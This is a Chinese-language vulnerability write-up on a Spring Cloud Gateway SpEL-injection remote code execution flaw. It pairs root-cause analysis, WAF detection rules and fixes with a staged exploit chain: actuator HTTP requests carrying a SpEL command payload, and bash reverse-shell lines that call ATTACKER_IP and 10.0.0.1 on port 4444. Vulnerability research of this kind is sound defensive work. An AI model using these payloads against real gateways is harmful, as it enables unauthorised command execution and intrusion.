漏洞分析Java安全RCE
Spring Cloud Gateway RCE 漏洞利用链构建
深入分析 CVE-2026-XXXX 漏洞根因,从 SpEL 注入到命令执行的完整利用链,附检测规则与修复方案。
2026-05-2018 min0xNexus
漏洞背景
Spring Cloud Gateway 是 Spring Cloud 生态中的 API 网关组件。2026 年 5 月,我们团队在一次代码审计中发现了一个严重漏洞,攻击者可以通过构造特定的请求实现远程代码执行。
CVE 编号:CVE-2026-XXXX(已报送,等待分配中)
根因分析
漏洞触发点
问题出现在 ShortcutConfigurable 接口的 SpEL 表达式解析过程中:
// 漏洞代码(简化版)
@PostMapping("/actuator/gateway/routes/{id}")
public Mono<Void> saveRoute(@PathVariable String id,
@RequestBody RouteDefinition route) {
return this.routeDefinitionWriter
.save(Mono.just(route))
.then();
}
// RouteDefinition 中的 filters 参数未经过滤
// 直接被传递到 SpEL 表达式解析器
public class RouteDefinition {
private List<FilterDefinition> filters;
// FilterDefinition.args 中的值会被拼接到 SpEL 表达式
}
SpEL 注入原理
Spring Expression Language (SpEL) 在解析表达式中存在以下危险用法:
// 攻击者可以通过 FilterDefinition 的 args 传入
// T(java.lang.Runtime).getRuntime().exec("command")
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext context =
new StandardEvaluationContext();
// args 中的值被直接解析!
parser.parseExpression(attackerControlledValue)
.getValue(context);
利用链构建
阶段一:信息收集
首先确认目标是否使用了受影响的版本:
GET /actuator/gateway/routes HTTP/1.1
Host: target.com
# 返回已注册的路由信息
# 如果返回非空,说明端点可访问
阶段二:注入探测
POST /actuator/gateway/routes/test HTTP/1.1
Host: target.com
Content-Type: application/json
{
"id": "test",
"predicates": [{"name": "Path", "args": {"_genkey_0": "/test"}}],
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "X-Response",
"value": "#{new String(T(java.lang.Runtime).getRuntime().exec('id').getInputStream().readAllBytes())}"
}
}],
"uri": "http://example.com"
}
阶段三:命令执行
获得命令执行能力后,可以进一步上传 Webshell 或反弹 Shell:
# 反弹 shell payload(需 URL 编码)
bash -c 'exec bash -i &>/dev/tcp/ATTACKER_IP/4444 <&1'
# 对应的 SpEL 表达式
T(java.lang.Runtime).getRuntime().exec(new String[]{
"/bin/bash","-c",
"exec bash -i &>/dev/tcp/10.0.0.1/4444 <&1"
})
检测与防御
WAF 检测规则
# ModSecurity / Coraza 规则
SecRule REQUEST_URI "@contains /actuator/gateway/" \
"id:10001, \
phase:2, \
deny, \
msg:'Spring Cloud Gateway Actuator Access Attempt'"
SecRule ARGS "@rx T\\(java\\.lang\\.Runtime\\)" \
"id:10002, \
phase:2, \
deny, \
msg:'SpEL Runtime Execution Attempt'"
修复方案
- 升级版本:升级到 Spring Cloud Gateway >= 4.1.x
- 禁用 Actuator 对外暴露:
management:
endpoints:
web:
exposure:
include: "health,info" # 不包含 gateway
- 使用 SimpleEvaluationContext 替代 StandardEvaluationContext
- 对 Filter args 进行白名单校验
影响范围
| 组件 | 受影响版本 | 修复版本 | |------|-----------|---------| | Spring Cloud Gateway | < 4.1.0 | >= 4.1.0 | | Spring Boot Actuator | 所有集成了 Gateway 的版本 | 需配置限制 |
总结
这个漏洞再次验证了一个安全原则:永远不要信任用户输入,即使它经过了多层框架封装。SpEL 的强大表达能力在此处变成了双刃剑。
建议所有使用 Spring Cloud Gateway 的团队尽快检查自身配置,确保 Actuator 端点不会暴露到公网。